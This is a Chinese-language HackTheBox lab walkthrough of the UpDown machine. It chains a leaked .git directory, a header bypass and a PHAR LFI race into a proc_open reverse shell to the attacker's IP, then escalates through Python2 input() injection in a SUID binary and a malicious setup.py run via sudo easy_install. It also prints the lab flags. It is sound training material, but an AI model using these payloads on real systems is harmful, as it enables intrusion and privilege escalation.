HTB: UpDown — PHAR LFI2RCE & SUID 連環提權
| 靶機 | UpDown |
|---|---|
| 作業系統 | Linux (Ubuntu 20.04 focal) |
| 難度 | Medium |
| 目標 IP | 10.129.119.244 |
| 攻擊機 IP | 10.10.15.48 |
| vhost | siteisup.htb / dev.siteisup.htb |
| 開放埠 | 22 (SSH OpenSSH 8.2p1) / 80 (HTTP Apache 2.4.41, PHP 8.0.20) |
公網找到 /dev 目錄,手動探出外洩的 .git 取回原始碼白箱分析 →
帶 Special-Dev: only4dev header 繞過 .htaccess,用
PHAR LFI2RCE(ZIP 改副檔名繞上傳黑名單 + phar:// 觸發)配合
競態連發搶過 unlink/cron,用 proc_open 反殼繞 disable_functions 拿
www-data →
執行 SUID binary siteisup(呼叫 Python2 input() = eval)注入拿
developer,撈 SSH key 換完整 shell →
sudo easy_install 惡意 setup.py → root。
目錄
1. 偵察 Recon
1.1 全埠掃描 + 服務版本
- 只有
22 SSH與80 HTTP,OpenSSH 8.2p1 + Apache 2.4.41 → 典型 Ubuntu 20.04 focal。 - SSH 版本無已知可打的洞,入口在 Web(80)。網頁標題
Is my Website up ?暗示是「檢查網站上線」的功能型 app。
2. Web / 服務列舉
2.1 首頁與 SSRF(兔子洞)
首頁是一個輸入網址、幫你檢查上線狀態的表單,footer 洩漏域名 siteisup.htb。表單會讓伺服器去抓你給的 URL = SSRF。開 nc 監聽並從表單送出指向自己的網址驗證:
- 伺服器確實回連(SSRF 成立),但 User-Agent 只是寫死的
siteisup.htb,無指紋價值、無file:///內網跳板。 - 確認能回連即收手——這是 兔子洞,不是提權路。
\\攻擊機\share 也不會帶憑證。NTLMv2/Responder 是 Windows 專屬手法,前提不符。2.2 目錄爆破 → /dev
2.3 子域名(vhost) 爆破 → dev.siteisup.htb
先把主域名寫進 /etc/hosts,再用 ffuf 爆 vhost。不存在的 Host 會掉回預設首頁(1131 bytes),用 -fs 1131 濾掉:
10.129.119.244 siteisup.htb dev.siteisup.htb
-fs=wfuzz --hh=gobuster --exclude-length。2.4 /dev 為空 → 手動探 .git(本台關鍵)
通用字典(dirbuster / raft-directories)都不含 .git 條目,掃不到 ≠ 不存在。改用「找到 dev 目錄就手動點名開發者遺留物」的反射:
dev/backup/old 這類目錄 → 手動點名 .git/HEAD、.env、.svn/entries、備份檔。驗「已知懷疑」用 curl 比賭字典可靠。2.5 git-dumper 取回原始碼
git checkout 報 dubious ownership:執行 git config --global --add safe.directory <path> 後再 git checkout .。2.6 白箱源碼分析
.htaccess — 只有帶指定 header 的請求放行(這就是 dev 子域名一直 403 的原因):
Order Deny,Allow
Deny from All
Allow from env=Required-Header
Order Deny,Allow全部規則跑完取最後符合:先Deny All,再放行帶 header 者。- 繞過鑰匙:請求加上
Special-Dev: only4dev。
index.php — ?page= 參數直接 include,附加 .php,黑名單只擋路徑字串、不擋 wrapper:
if($page && !preg_match(“/bin|usr|home|var|etc/i”,$page)){
include($_GET[‘page’] . “.php”);
}else{
include(“checker.php”);
}
include($page.".php")→ LFI,但會補.php(純讀/etc/passwd行不通)。- 黑名單只擋
bin|usr|home|var|etc,不擋phar://、php://filter。 - 補
.php對 PHAR 反而是助攻:phar://x.0xdf/rev+.php→ 執行壓縮檔內rev.php。
checker.php — 檔案上傳,副檔名黑名單 + 落點 uploads/md5(time())/,結尾 @unlink:
if(preg_match(“/php|php[0-9]|html|py|pl|phtml|zip|rar|gz|gzip|tar/i”,$ext)){ die(“Extension not allowed!”); }
$dir = “uploads/”.md5(time()).”/”;
…
@unlink($final_path); // 處理完刪檔
- 黑名單只擋
php/html/zip/rar/...等字串 → 任意其他副檔名(如.0xdf)放行,而phar://只看內容是不是合法壓縮檔。 - 落點目錄 =
md5(當前 unix 時間戳);uploads/開了 directory listing 可直接列。 - 結尾
@unlink會刪檔 → 需搶時間(後面用競態)。
?page=phar://uploads/<md5>/x.0xdf/x 觸發 RCE。3. 立足 Foothold(PHAR LFI2RCE → www-data)
3.1 驗證 header 繞過
3.2 phpinfo PHAR POC(先驗能執行 + 看 disable_functions)
<?php phpinfo(); ?>
(root㉿kali)-[~/HTB/UpDown]# file info.0xdf
上傳(帶 header + 模擬表單 check/file 欄位):
列 uploads 找 md5 目錄:
3.3 競態連發搶過 unlink/cron
單次「上傳→觸發」會被 @unlink 與每 5 分鐘的 cron 清掉。用雙迴圈競態:一邊狂傳、一邊狂觸發,搶在刪除前 include。
unlink/cron 自毀時 → 雙迴圈競態(一邊狂傳、一邊狂觸發)幾乎無腦必中。3.4 確認 disable_functions → proc_open 漏網
system/exec/shell_exec/popen/passthru全禁 → 一般 webshell 死路。fsockopen/stream_socket_client也禁 → PHP 原生 socket 反殼也死。proc_open沒禁 → 叫 bash 自己用/dev/tcp反連。
proc_open、popen、pcntl_exec、mb_send_mail、FFI。只要有一個能起 process 就能反彈。3.5 proc_open 反向 shell → www-data
<?php
$descspec = array(
0 => array(“pipe”, “r”),
1 => array(“pipe”, “w”),
2 => array(“pipe”, “w”)
);
$cmd = “/bin/bash -c ‘/bin/bash -i >& /dev/tcp/10.10.15.48/443 0>&1′”;
$proc = proc_open($cmd, $descspec, $pipes);
?>
開監聽,再用與 3.3 相同的雙迴圈競態(把 payload 換成 rev.0xdf、觸發尾巴改 /rev):
升級 TTY:
# Ctrl+Z 後在 Kali 端:
(root㉿kali)-[~/HTB/UpDown]# stty raw -echo; fg
# Enter 兩下,再:
www-data@updown:/var/www/dev$ export TERM=xterm
www-data。4. 後滲透列舉
www-data@updown:/var/www/dev$ sudo -l
id=uid=33(www-data),純低權。sudo -l對 www-data 需要密碼 → 暫擱,等變 developer 再打一次。
看唯一真實使用者 developer 的家目錄——盯「群組」欄找 www-data 可讀的東西:
先讀可讀的 Python 腳本,再 strings 看 binary 呼叫什麼:
/usr/bin/python /home/developer/dev/siteisup_test.py
… setresuid / setresgid / system …
- binary 以絕對路徑呼叫 Python2 跑腳本(不能 PATH 劫持)→ 走
input()注入。 - 有
setresuid/setresgid→ 執行時切成 developer(但實測 gid 仍是 www-data)。
strings:呼叫外部指令是絕對 vs 相對路徑(相對→PATH 劫持),目標腳本有無注入點(py2 input())。5. 提權(developer → root)
5.1 SUID + Python2 input() 注入 → developer
Enter URL here: 處貼入下列 payload
__import__(‘os’).system(‘/bin/bash’)
uid=1002(developer) 但 gid=33(www-data),而 user.txt 是 root:developer(群組 developer 才讀得到)→ 這個 shell 讀不到 flag。要撈 SSH key 正規登入換完整群組。5.2 撈 SSH 私鑰換完整 shell
在 Kali 存檔、設權限、SSH 登入(取得 gid=developer 的完整 shell):
(root㉿kali)-[~/HTB/UpDown]# chmod 600 dev_id_rsa
(root㉿kali)-[~/HTB/UpDown]# ssh -i dev_id_rsa [email protected]
5.3 user flag + sudo -l
developer@updown:~$ sudo -l
User flag:
493f93e5ec0af34d6dc938f3c3cf5ebd
(ALL) NOPASSWD: /usr/local/bin/easy_install
5.4 easy_install 惡意 setup.py → root
easy_install 安裝套件會執行其 setup.py;用 sudo 跑=以 root 執行 setup.py。塞一個開 shell 的 setup.py:
# setup.py 內容: import os; os.system(“/bin/bash”)
developer@updown:/tmp/pwn$ echo ‘import os;os.system(“/bin/bash”)’ > setup.py
developer@updown:/tmp/pwn$ sudo /usr/local/bin/easy_install /tmp/pwn
root@updown:/tmp/pwn# cat /root/root.txt
Root flag:
4e59c46a3c33c7d879e4a8cf54fed401
easy_install/pip/python -c/vim :!sh/find -exec)= 提權,先查 GTFOBins。6. 失誤與教訓
6.1 字典漏 .git,誤判「沒東西」
先用 raft-medium-directories 掃 /dev 回 0 結果,grep 字典才發現它根本沒收 .git 條目:
directories 都不含 .git(點檔在 raft-files 版或 dirb/common.txt)。「掃不到」要分 (a) 目標沒有 (b) 字典沒收那個詞 → grep 字典一秒分辨,別把 (b) 誤判成 (a) 而放棄正解。事後把高信號字典去重保序合併,確認 .git/HEAD 排在前段(開場即命中):
awk '!seen[$0]++'(去重保序),別用 sort -u(會打亂頻率順序,害常見路徑沉底)。高信號清單放前面。6.2 PHAR 被 unlink/cron 清掉
第一次單發「上傳→列目錄→觸發」中間隔太久,觸發時 phpinfo 沒出來,連整個 md5 目錄都 404:





























